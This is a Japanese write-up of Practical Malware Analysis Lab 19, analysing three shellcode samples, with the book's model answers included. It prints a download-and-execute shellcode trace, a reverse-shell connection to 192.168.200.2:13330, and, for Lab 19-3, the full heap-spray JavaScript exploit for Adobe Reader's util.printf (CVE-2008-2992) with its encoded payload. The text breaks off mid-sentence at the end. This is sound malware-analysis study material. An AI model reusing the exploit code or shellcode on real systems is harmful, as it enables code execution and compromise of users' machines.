Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab19のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。
Lab 19-1
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab19-01.bin | シェルコード | 401F1C80D5F601D310C7014C1C0EB4EB |
1. How is the shellcode encoded?
サブルーチン 0x208がシェルコードのデコード処理を担っているものと思われる。
サブルーチン 0x208がCALLされると、まずスタックトップの値をESIにPOPする。この一連のCALL・POP命令によりEIPがESIに保存されることになる 。(CALL命令はまず最初にEIPをスタックに保存するため)
EIPを取得したのは、シェルコードのアドレス位置を把握するため。CALL命令の直後のアドレスにエンコードされたシェルコードが埋め込まれていた。
seg000:0000021F E8 E4 FF FF FF call sub_208
seg000:00000224 49 dec ecx
seg000:00000225 4A dec edx
seg000:00000226 4F dec edi
seg000:00000227 46 inc esi
seg000:00000228 49 dec ecx
seg000:00000229 42 inc edx
seg000:0000022A 4F dec edi
seg000:0000022B 4D dec ebp
seg000:0000022C 45 inc ebp
seg000:0000022D 41 inc ecx
seg000:0000022E 41 inc ecx
seg000:0000022F 41 inc ecx
seg000:00000230 41 inc ecx
seg000:00000231 41 inc ecx
seg000:00000232 41 inc ecx
seg000:00000233 41 inc ecx
seg000:00000234 4F dec edi
seg000:00000235 4A dec edx
seg000:00000236 44 inc esp
seg000:00000237 44 inc esp
seg000:00000238 41 inc ecx
seg000:00000239 42 inc edx
seg000:0000023A 41 inc ecx
seg000:0000023B 41 inc ecx
seg000:0000023C 41 inc ecx
------ snip ------
以下の流れで上記のエンコードされたシェルコードをデコードする。
- LODSBにより、ESIからデータを1バイト ALにロードする。
- ALの値をDLにコピーする。
- DLの値から0x41減算する。結果はDLに格納される。
- DLの値を左へ4ビット シフトする。
- LODSBにより、ESIからデータを1バイト ALにロードする。
- ALの値から0x41減算する。結果はALに格納される。
- ALの値にDLの値を加算する。結果はALに格納される。
- STOSBにより、ALの値をEDIに格納する。つまりデコードされた値はEDIに格納される。
- ESIから397バイトのデータがデコードされるまで、1~8の処理を繰り返す。
2. Which functions does the shellcode manually import?
以下のscdbgコマンドを実行した。
scdbg -f Lab19-01.bin -api -s -1
以下は実行結果。
>scdbg -f Lab19-01.bin -api -s -1
Loaded 53e bytes from file Lab19-01.bin
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000
401313 LoadLibraryA(URLMON)
40132d GetSystemDirectoryA( c:\windows\system32\ )
40134c URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe)
401358 WinExec(c:\WINDOWS\system32\1.exe)
40135b GetCurrentProcess() = 1
401364 TerminateProcess(1) = 1
Stepcount 237493
Scanning main code body for api table looking for TerminateProcess...
Scanning stack for api table base=12edc0 sz=1000
Found Api table at: 12fde8
[x + 0] = URLDownloadToFileA
[x + 4] = WinExec
[x + 8] = GetCurrentProcess
[x + c] = TerminateProcess
[x + 10] = GetSystemDirectoryA
[x + 14] = LoadLibraryA
上記より、Lab19-01.binは以下の関数をインポートすることが判明した。
- URLDownloadToFileA
- WinExec
- GetCurrentProcess
- TerminateProcess
- GetSystemDirectoryA
- LoadLibraryA
3. What network host does the shellcode communicate with?
先述したscdbgコマンドの実行結果より、Lab19-01.binはwww.practicalmalwareanalysis.com
と通信することが判明した。
40134c URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe)
4. What filesystem residue does the shellcode leave?
先述したscdbgコマンドの実行結果より、Lab19-01.binは1.exe
というファイルをc:\WINDOWS\system32
に作成することが判明した。
401358 WinExec(c:\WINDOWS\system32\1.exe)
5. What does the shellcode do?
Lab19-01.binはhttp://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe
からファイルをダウンロードしてc:\WINDOWS\system32\1.exe
として保存・実行する。
Lab 19-2
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab19-02.exe | 32ビット EXE | 88ABAE59E3B1CF07BEF2FEB1EFEE0324 |
1. What process is injected with the shellcode?
このマルウェアはデフォルト・ブラウザのプロセスにインジェクションを行う。
まず、\http\shell\open\command
レジストリにアクセスし、デフォルトで使用されるブラウザ・アプリケーションを調べる。自分の解析環境ではInternet Explorer (iexplore.exe)がデフォルト・ブラウザに設定されている。
次にデフォルトのブラウザ・アプリケーションを起動する。(今回はiexplore.exe)
そして起動したブラウザ・アプリケーションのプロセス (iexplore.exe)にインジェクションを行う。
2. Where is the shellcode located?
シェルコードはアドレス0x407030に埋め込まれている。
3. How is the shellcode encoded?
アドレス0x407030のシェルコードをダンプして逆アセンブルしたところ、以下のコードが現れた。
※ x32dbgで任意のアドレス領域からデータをダンプするには、こちらの記事のメモリ領域からペイロードをダンプするの項を参照。(ダンプした後に、0x407030以前の余剰データを削除する必要がある。)
00000000 EB11 JMP 00000013
00000002 5F POP EDI
00000003 66688F01 PUSH 018F
00000007 6659 POP CX
00000009 B0E7 MOV AL,E7
0000000B 3007 XOR BYTE PTR [EDI],AL
0000000D 47 INC EDI
0000000E 67E2FA LOOP 0000000B
00000011 EB05 JMP 00000018
00000013 E8EAFFFFFF CALL 00000002
00000018 6E OUTS DX,BYTE PTR [ESI]
00000019 02660B ADD AH,BYTE PTR [ESI+0B]
0000001C C7 ???
0000001D E7E7 OUT E7,EAX
0000001F E70E OUT 0E,EAX
00000021 86E6 XCHG AH,DH
------ snip ------
上記のコードはまず、CALL命令へとジャンプする。CALLが実行されるとスタックトップの値をEDIにPOPする。この一連のCALL・POP命令によりEIPがEDIに保存されることになる 。(CALL命令はまず最初にEIPをスタックに保存するため)
EIPを取得したのは、シェルコードのアドレス位置を把握するため。CALL命令の直後のアドレスにエンコードされたシェルコードが埋め込まれている。
続いて、0xE7という値をALにコピーして、ALとEDIの値をXORする。このことから、シェルコードは0xE7を鍵としてXORエンコードされていることが判明した。
4. Which function does the shellcode manually import?
以下のscdbgコマンドを実行した。
scdbg -f lab19-02_shellcode.bin -api -s -1
以下は実行結果。
Loaded 4fd0 bytes from file lab19-02_shellcode.bin
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000
4010dc LoadLibraryA(ws2_32)
401104 WSAStartup(101)
401113 WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
401132 connect(h=42, host: 192.168.200.2 , port: 13330 ) = 42
40117d GetCurrentProcess() = 1
401186 TerminateProcess(1) = 1
Stepcount 291400
Scanning main code body for api table looking for TerminateProcess...
Found Api table at: 40118b
[x + 0] = LoadLibraryA
[x + 4] = CreateProcessA
[x + 8] = TerminateProcess
[x + c] = GetCurrentProcess
[x + 10] = WSAStartup
[x + 14] = WSASocketA
[x + 18] = connect
上記より、以下の関数をインポートすることが判明した。
- LoadLibraryA
- CreateProcessA
- TerminateProcess
- GetCurrentProcess
- WSAStartup
- WSASocketA
- connect
5. What network hosts does the shellcode communicate with?
先述したscdbgコマンドの実行結果より、ポート番号13330
を通してIPアドレス192.168.200.2
とTCP通信することが (WSASocketのtype(tp)フィールドに1が指定されているため) 判明した。
4010dc LoadLibraryA(ws2_32)
401104 WSAStartup(101)
401113 WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
401132 connect(h=42, host: 192.168.200.2 , port: 13330 ) = 42
6. What does the shellcode do?
シェルコードがブラウザ・プロセスにインジェクトされると、ポート番号13330
を通してIPアドレス192.168.200.2
とTCP通信する。
192.168.200.2
と、どのようなデータをやり取りするのかは分からなかった。(自分の解析環境ではシェルコードのインジェクションが失敗したため。)
Lab 19-3
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab19-03.pdf | DFEFB413804000372DCDA10BC0E07965 |
1. What exploit is used in this PDF?
Lab19-03.pdfをHexエディタで開いて眺めたところ、以下の不審なJavaScriptコードを発見した。
var payload = unescape("%ue589%uec81%u017c%u0000%u6ee8%u0001%u8e00%u0e4e%u72ec%ub3fe%u8316%ub5b9%ue678%u8f17%u337b%u8aca%u4f5b%uc703%ua5bf%u0017%uad7c%u7d9b%uacdf%uda08%u1676%ufa65%u1f10%u0a79%ufbe8%ufd97%uec0f%u0397%uf60c%ub922%u5e7c%ue1bb%u021b%u00c6%u6f00%u0010%u0000%u00a0%u6f00%u00b0%u4e00%u0014%u5600%u8b57%u2474%u310c%ufcff%uc031%u38ac%u74e0%uc10a%u0dcf%uc701%uefe9%uffff%u89ff%u5ff8%uc25e%u0004%u8b60%u246c%u8b24%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u2ae3%u8b49%u8b34%uee01%ue856%uffbb%uffff%u443b%u2824%uec75%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%ue9e8%u0002%u0000%uc031%u4489%u1c24%uc261%u0008%u3156%u64c0%u408b%u8530%u78c0%u8b0f%u0c40%u708b%uad1c%u408b%ue908%u0005%u0000%ufbe9%uffff%u5eff%u55c3%ue589%uec83%u6008%u758b%u890c%u8bf7%u1455%u4d8b%uac10%ud030%uc2fe%ue2aa%u6af8%u6a00%u6a02%u6a04%u6a00%u6803%u0000%u4000%u458b%u5018%u5d8b%uff08%u1853%u4589%ufffc%u1075%u75ff%u500c%u73ff%ue828%u000d%u0000%u75ff%ufffc%u2c53%u8961%u5dec%u14c2%u5500%ue589%uc031%u5050%u8d60%ufc75%u7d8d%u8bf8%u1055%u5503%u8bfc%u1445%u452b%u68fc%u0000%u0000%u5057%uff52%u0c75%u55ff%u8508%u74c0%u8b0b%u0107%u8b06%u3b16%u1455%ud772%u8961%u5dec%u10c2%u5e00%u7589%u89ec%u89f7%ue8f3%uff42%uffff%u4589%ub9fc%u000e%u0000%u50ad%u75ff%ue8fc%ufee4%uffff%ue2ab%u68f3%u336c%u0032%u7368%u6568%u896c%u50e0%u13ff%uad91%u5150%uc9e8%ufffe%uabff%uf631%u5d8b%u81ec%u04c6%u0000%u8d00%uf845%u5650%u53ff%u3b1c%u3c43%ued75%u7589%u31f8%uffd2%u4473%uff52%u3053%uc085%u840f%u0131%u0000%u4589%u31f4%u52d2%uff52%u4073%u75ff%ufff8%u2053%u73ff%uff44%uf475%u75ff%ufff8%u2473%u3ae8%uffff%u31ff%u8dc0%udcbd%ufffe%ub9ff%u0040%u0000%uabf3%ubd8d%ufedc%uffff%u6857%u0100%u0000%u53ff%u3110%u8dc0%udcbd%ufffe%uf2ff%u4fae%u7d89%uc7e4%u6607%u6f6f%uc72e%u0447%u7865%u0065%u5d8b%u8dec%udc85%ufffe%u50ff%u4a68%u0000%uff00%u4473%u75ff%u53f4%u94e8%ufffe%u31ff%u8dc0%u88bd%ufffe%ub9ff%u0015%u0000%uabf3%u958d%ufe88%uffff%u8d52%u9895%ufffe%u52ff%u5050%u6850%uffff%uffff%u5050%u8d50%udc85%ufffe%u50ff%u53ff%uff04%uf475%u53ff%u3134%u8bd2%uec5d%u73ff%u524c%u53ff%u8530%u74c0%u8974%uf045%ud231%u5252%u73ff%uff48%uf875%u53ff%uff20%u4c73%u75ff%ufff0%uf875%u73ff%ue824%ufe7d%uffff%u458b%uc7e4%u6200%u7261%uc72e%u0440%u6470%u0066%u858d%ufedc%uffff%u6a50%u8b4a%uec5d%u73ff%uff4c%uf075%ue853%ufe03%uffff%uc931%u858d%ufe98%uffff%u00c7%u706f%u6e65%u40c6%u0004%u0568%u0000%u5100%u8d51%udc85%ufffe%u50ff%u858d%ufe98%uffff%u5150%u53ff%uff38%u0c53%u0068%u0000%u5000%u53ff%u9008%u9090");
var version = app.viewerVersion;
app.alert("Running PDF JavaScript!");
if (version >= 8 && version < 9) {
var payload;
nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
heapblock = nop + payload;
bigblock = unescape("%u0A0A%u0A0A");
headersize = 20;
spray = headersize+heapblock.length;
while (bigblock.length<spray) {
bigblock+=bigblock;
}
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) {
block = block+block+fillblock;
}
mem = new Array();
for (i=0;i<1400;i++) {
mem[i] = block + heapblock;
}
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f",num);
} else {
app.alert("Unknown PDF version!");
}
Heap Sprayを行い、エンコードされたシェルコードをヒープ領域に書き込む模様。
2. How is the shellcode encoded?
Lab19-03.pdfに埋め込まれているシェルコードはJavaScriptのescapeによってエンコードされている。
シェルコードを抽出するため、以下のpythonスクリプトを書いた。
#!/usr/bin/env python
'''
A script to extract shellcode from Lab19-03.pdf
'''
import binascii
payload = "%ue589%uec81%u017c%u0000%u6ee8%u0001%u8e00%u0e4e%u72ec%ub3fe%u8316%ub5b9%ue678%u8f17%u337b%u8aca%u4f5b%uc703%ua5bf%u0017%uad7c%u7d9b%uacdf%uda08%u1676%ufa65%u1f10%u0a79%ufbe8%ufd97%uec0f%u0397%uf60c%ub922%u5e7c%ue1bb%u021b%u00c6%u6f00%u0010%u0000%u00a0%u6f00%u00b0%u4e00%u0014%u5600%u8b57%u2474%u310c%ufcff%uc031%u38ac%u74e0%uc10a%u0dcf%uc701%uefe9%uffff%u89ff%u5ff8%uc25e%u0004%u8b60%u246c%u8b24%u3c45%u548b%u7805%uea01%u4a8b%u8b18%u205a%ueb01%u2ae3%u8b49%u8b34%uee01%ue856%uffbb%uffff%u443b%u2824%uec75%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%ue9e8%u0002%u0000%uc031%u4489%u1c24%uc261%u0008%u3156%u64c0%u408b%u8530%u78c0%u8b0f%u0c40%u708b%uad1c%u408b%ue908%u0005%u0000%ufbe9%uffff%u5eff%u55c3%ue589%uec83%u6008%u758b%u890c%u8bf7%u1455%u4d8b%uac10%ud030%uc2fe%ue2aa%u6af8%u6a00%u6a02%u6a04%u6a00%u6803%u0000%u4000%u458b%u5018%u5d8b%uff08%u1853%u4589%ufffc%u1075%u75ff%u500c%u73ff%ue828%u000d%u0000%u75ff%ufffc%u2c53%u8961%u5dec%u14c2%u5500%ue589%uc031%u5050%u8d60%ufc75%u7d8d%u8bf8%u1055%u5503%u8bfc%u1445%u452b%u68fc%u0000%u0000%u5057%uff52%u0c75%u55ff%u8508%u74c0%u8b0b%u0107%u8b06%u3b16%u1455%ud772%u8961%u5dec%u10c2%u5e00%u7589%u89ec%u89f7%ue8f3%uff42%uffff%u4589%ub9fc%u000e%u0000%u50ad%u75ff%ue8fc%ufee4%uffff%ue2ab%u68f3%u336c%u0032%u7368%u6568%u896c%u50e0%u13ff%uad91%u5150%uc9e8%ufffe%uabff%uf631%u5d8b%u81ec%u04c6%u0000%u8d00%uf845%u5650%u53ff%u3b1c%u3c43%ued75%u7589%u31f8%uffd2%u4473%uff52%u3053%uc085%u840f%u0131%u0000%u4589%u31f4%u52d2%uff52%u4073%u75ff%ufff8%u2053%u73ff%uff44%uf475%u75ff%ufff8%u2473%u3ae8%uffff%u31ff%u8dc0%udcbd%ufffe%ub9ff%u0040%u0000%uabf3%ubd8d%ufedc%uffff%u6857%u0100%u0000%u53ff%u3110%u8dc0%udcbd%ufffe%uf2ff%u4fae%u7d89%uc7e4%u6607%u6f6f%uc72e%u0447%u7865%u0065%u5d8b%u8dec%udc85%ufffe%u50ff%u4a68%u0000%uff00%u4473%u75ff%u53f4%u94e8%ufffe%u31ff%u8dc0%u88bd%ufffe%ub9ff%u0015%u0000%uabf3%u958d%ufe88%uffff%u8d52%u9895%ufffe%u52ff%u5050%u6850%uffff%uffff%u5050%u8d50%udc85%ufffe%u50ff%u53ff%uff04%uf475%u53ff%u3134%u8bd2%uec5d%u73ff%u524c%u53ff%u8530%u74c0%u8974%uf045%ud231%u5252%u73ff%uff48%uf875%u53ff%uff20%u4c73%u75ff%ufff0%uf875%u73ff%ue824%ufe7d%uffff%u458b%uc7e4%u6200%u7261%uc72e%u0440%u6470%u0066%u858d%ufedc%uffff%u6a50%u8b4a%uec5d%u73ff%uff4c%uf075%ue853%ufe03%uffff%uc931%u858d%ufe98%uffff%u00c7%u706f%u6e65%u40c6%u0004%u0568%u0000%u5100%u8d51%udc85%ufffe%u50ff%u858d%ufe98%uffff%u5150%u53ff%uff38%u0c53%u0068%u0000%u5000%u53ff%u9008%u9090"
payload = payload.split('%u')
littleendian_payload = ''
# reconstruct payload into little endian byte order. (e589 -> 89e5)
for i in range(1, len(payload)):
littleendian_payload += payload[i][2:4] + payload[i][0:2]
shellcode = bytearray(binascii.unhexlify(littleendian_payload))
with open('shellcode_raw.bin', 'wb') as fout:
fout.write(shellcode)
print('check out ' + str('shellcode_raw.bin'))
上記のスクリプトはシェルコードをunescapeして(実際には%uを除去するだけ) リトルエンディアンのバイトオーダーに変換した上で、shellcode_raw.bin
として抽出する。
※後日、CyberChefのSwap endiannessでバイトオーダーを手っ取り早く変換できることを知った。
3. Which functions does the shellcode manually import?
抽出したシェルコードを以下のscdbgコマンドで解析してみた。
scdbg -f shellcode_raw.bin -api -fopen Lab19-03.pdf -s -1
このシェルコードは実行時にLab19-03.pdfのファイル・ハンドルが存在するか確認するので (GetFileSizeで50690 (0xc602) バイトのサイズのファイル・ハンドルが存在するか確認する。50690バイトはLab19-03.pdfのファイル・サイズである。)、fopenオプションでLab19-03.pdfを指定する必要がある。
以下は実行結果。
>scdbg -f shellcode_raw.bin -api -fopen Lab19-03.pdf -s -1
fopen(Lab19-03.pdf) = 7c
Loaded 322 bytes from file shellcode_raw.bin
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000
4011ac LoadLibraryA(shell32)
4011c9 GetFileSize(4, 12fdf8) = c602
4011da GlobalAlloc(sz=a000) = 600000
4011f2 SetFilePointer(hFile=4, dist=106f, 0, FILE_BEGIN) = 0
401165 ReadFile(hFile=4, buf=600000, numBytes=a000) = 0
401221 GetTempPathA(len=100, buf=12fcdc) = 21
40111e CreateFileA(C:\Users\user\AppData\Local\Temp\foo.exe) = 4
401165 WriteFile(h=4, buf=600000, len=a000, lpw=12fc18, lap=0) = 1
401136 CloseHandle(4)
401289 CreateProcessA( , C:\Users\user\AppData\Local\Temp\foo.exe ) = 0x1269
40128f GlobalFree(600000) = 0
40129b GlobalAlloc(sz=144e) = 60a000
4012af SetFilePointer(hFile=4, dist=b06f, 0, FILE_BEGIN) = 0
401165 ReadFile(hFile=4, buf=60a000, numBytes=144e) = 0
40111e CreateFileA(C:\Users\user\AppData\Local\Temp\bar.pdf) = 8
401165 WriteFile(h=8, buf=60a000, len=144e, lpw=12fc18, lap=0) = 1
401136 CloseHandle(8)
401313 ShellExecuteA(C:\Users\user\AppData\Local\Temp\bar.pdf, )
401316 GetCurrentProcess() = 1
40131f TerminateProcess(1) = 1
Stepcount 1133530
Scanning main code body for api table looking for TerminateProcess...
Found Api table at: 40100d
[x + 0] = LoadLibraryA
[x + 4] = CreateProcessA
[x + 8] = TerminateProcess
[x + c] = GetCurrentProcess
[x + 10] = GetTempPathA
[x + 14] = SetCurrentDirectoryA
[x + 18] = CreateFileA
[x + 1c] = GetFileSize
[x + 20] = SetFilePointer
[x + 24] = ReadFile
[x + 28] = WriteFile
[x + 2c] = CloseHandle
[x + 30] = GlobalAlloc
[x + 34] = GlobalFree
[x + 38] = ShellExecuteA
Scanning memory allocation base=600000, sz=2600
Scanning memory allocation base=60a000, sz=144e
上記より、以下の関数をインポートすることが判明した。
- LoadLibraryA
- CreateProcessA
- TerminateProcess
- GetCurrentProcess
- GetTempPathA
- SetCurrentDirectoryA
- CreateFileA
- GetFileSize
- SetFilePointer
- ReadFile
- WriteFile
- CloseHandle
- GlobalAlloc
- GlobalFree
- ShellExecuteA
4. What filesystem residue does the shellcode leave?
このシェルコードは一時ディレクトリに以下のファイルを作成する。
C:\Users\user\AppData\Local\Temp\foo.exe
C:\Users\user\AppData\Local\Temp\bar.pdf
40111e CreateFileA(C:\Users\user\AppData\Local\Temp\foo.exe) = 4
40111e CreateFileA(C:\Users\user\AppData\Local\Temp\bar.pdf) = 8
5. What does the shellcode do?
このシェルコードは一時ディレクトリに以下のファイルを作成して実行する。
C:\Users\user\AppData\Local\Temp\foo.exe
C:\Users\user\AppData\Local\Temp\bar.pdf
401289 CreateProcessA( , C:\Users\user\AppData\Local\Temp\foo.exe ) = 0x1269
401313 ShellExecuteA(C:\Users\user\AppData\Local\Temp\bar.pdf, )
自分の解析環境では脆弱なAdobeがインストールされておらず、上記の2つのファイルは作成されなかったため、ファイルの詳細については不明。
抽出したシェルコードをscdbgにロードしてWriteFileにブレークポイントをセットし、書き込まれるデータを確認してみたが、詳細は分からなかった。以下は WriteFileによって書き込まれるデータのバッファをダンプしたもの。
>scdbg -f shellcode_raw.bin -fopen Lab19-03.pdf -s -1 -bp WriteFile
fopen(Lab19-03.pdf) = 7c
Loaded 322 bytes from file shellcode_raw.bin
Breakpoint 0 set at 7c810e27
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000
4011ac LoadLibraryA(shell32)
4011c9 GetFileSize(4, 12fdf8) = c602
4011da GlobalAlloc(sz=a000) = 600000
4011f2 SetFilePointer(hFile=4, dist=106f, 0, FILE_BEGIN) = 0
401165 ReadFile(hFile=4, buf=600000, numBytes=a000) = 0
401221 GetTempPathA(len=100, buf=12fcdc) = 21
40111e CreateFileA(C:\Users\user\AppData\Local\Temp\foo.exe) = 4
Breakpoint 0 hit at: 7c810e27
401165 WriteFile(h=4, buf=600000, len=a000, lpw=12fc18, lap=0) = 1
401165 85C0 test eax,eax step: 1107336 foffset: 165
eax=1 ecx=0 edx=600000 ebx=40100d
esp=12fbf8 ebp=12fc20 esi=12fc1c edi=12fc18 EFL 4 P
dbg> Enter hex base to dump: (hex/reg) 0x600000
600000
Enter hex size: (hex/reg) 0xa000
a000
0 1 2 3 4 5 6 7 8 9 A B C D E F
600000 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 JKLMNOPQRSTUVWXY
600010 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 Z[\]^_`abcdefghi
600020 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 jklmnopqrstuvwxy
600030 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 z...............
600040 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 ................
600050 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 ................
600060 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ................
600070 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ................
600080 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 ................
600090 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ................
6000a0 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 ................
6000b0 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 ................
6000c0 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 ...........§▬↨↑↓
6000d0 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 →←∟↔▲▼ !"#$%&'()
6000e0 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 *+,-./0123456789
6000f0 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 :;<=>?@ABCDEFGHI
600100 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 JKLMNOPQRSTUVWXY
600110 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 Z[\]^_`abcdefghi
600120 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 jklmnopqrstuvwxy
600130 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 z...............
600140 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 ................
600150 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 ................
600160 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ................
---- snip ----
dbg>
401136 CloseHandle(4)
401289 CreateProcessA( , C:\Users\user\AppData\Local\Temp\foo.exe ) = 0x1269
40128f GlobalFree(600000) = 0
40129b GlobalAlloc(sz=144e) = 60a000
4012af SetFilePointer(hFile=4, dist=b06f, 0, FILE_BEGIN) = 0
401165 ReadFile(hFile=4, buf=60a000, numBytes=144e) = 0
40111e CreateFileA(C:\Users\user\AppData\Local\Temp\bar.pdf) = 8
Breakpoint 0 hit at: 7c810e27
401165 WriteFile(h=8, buf=60a000, len=144e, lpw=12fc18, lap=0) = 1
401165 85C0 test eax,eax step: 1133492 foffset: 165
eax=1 ecx=0 edx=60a000 ebx=40100d
esp=12fbf8 ebp=12fc20 esi=12fc1c edi=12fc18 EFL 4 P
dbg> Enter hex base to dump: (hex/reg) 0x60a000
60a000
Enter hex size: (hex/reg) 0x144e
144e
0 1 2 3 4 5 6 7 8 9 A B C D E F
60a000 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 JKLMNOPQRSTUVWXY
60a010 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 Z[\]^_`abcdefghi
60a020 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 jklmnopqrstuvwxy
60a030 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 z...............
60a040 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 ................
60a050 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 ................
60a060 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ................
60a070 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ................
60a080 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 ................
60a090 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ................
60a0a0 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 ................
60a0b0 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 ................
60a0c0 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 ...........§▬↨↑↓
60a0d0 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 →←∟↔▲▼ !"#$%&'()
60a0e0 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 *+,-./0123456789
60a0f0 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 :;<=>?@ABCDEFGHI
60a100 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 JKLMNOPQRSTUVWXY
60a110 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 Z[\]^_`abcdefghi
60a120 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 jklmnopqrstuvwxy
60a130 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 z...............
60a140 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 ................
60a150 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 ................
60a160 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ................
60a170 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ................
60a180 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 ................
60a190 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ................
---- snip ----
模範解答
Lab 19-1
1. The shellcode is stored with an alphabetic encoding; each payload byte is stored in the low nibble of two encoded bytes.
2. The shellcode resolves the following functions:
- LoadLibraryA
- GetSystemDirectoryA
- TerminateProcess
- GetCurrentProcess
- WinExec
- URLDownloadToFileA
3. The shellcode downloads this URL:
http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe
4. The shellcode writes %SystemRoot%\System32\1.exe and executes it.
5. The shellcode downloads a file from a URL stored within the encoded payload, writes it to disk, and executes it.
Lab 19-2
1. The program process-injects the default web browser, Internet Explorer.
2. The shellcode buffer is located at 0x407030.
3. The shellcode is XOR'ed with the byte 0xe7.
4. The shellcode manually imports the following functions:
- LoadLibraryA
- CreateProcessA
- TerminateProcess
- GetCurrentProcess
- WSAStartup
- WSASocketA
- connect
5. The shellcode connects to IP 192.168.200.2 on TCP port 13330.
6. The shellcode provides a remote shell (cmd.exe).
Lab 19-3
1. The PDF contains example of CVE-2008-2992: buffer overflow related to Adobe Reader's util.printf JavaScript implementation.
2. The shellcode is encoded using JavaScript's percent-encoding and is stored along with the JavaScript in the PDF.
3. The shellcode manually imports the following functions:
- LoadLibraryA
- CreateProcessA
- TerminateProcess
- GetCurrentProcess
- GetTempPathA
- SetCurrentDirectoryA
- CreateFileA
- GetFileSize
- SetFilePointer
- ReadFile
- WriteFile
- CloseHandle
- GlobalAlloc
- GlobalFree
- ShellExecuteA
4. The shellcode creates the files %TEMP%\foo.exe and %TEMP%\bar.pdf.
5. The shellcode extracts two files stored encoded within the malicious PDF and writes them to the user's %TEMP% directory. It executes the foo.exe file and opens the bar.pdf document with the default handler.
答え合わせ
Lab 19-2
シェルコードがブラウザ・プロセスにインジェクトされると、ポート番号13330
を通してIPアドレス192.168.200.2
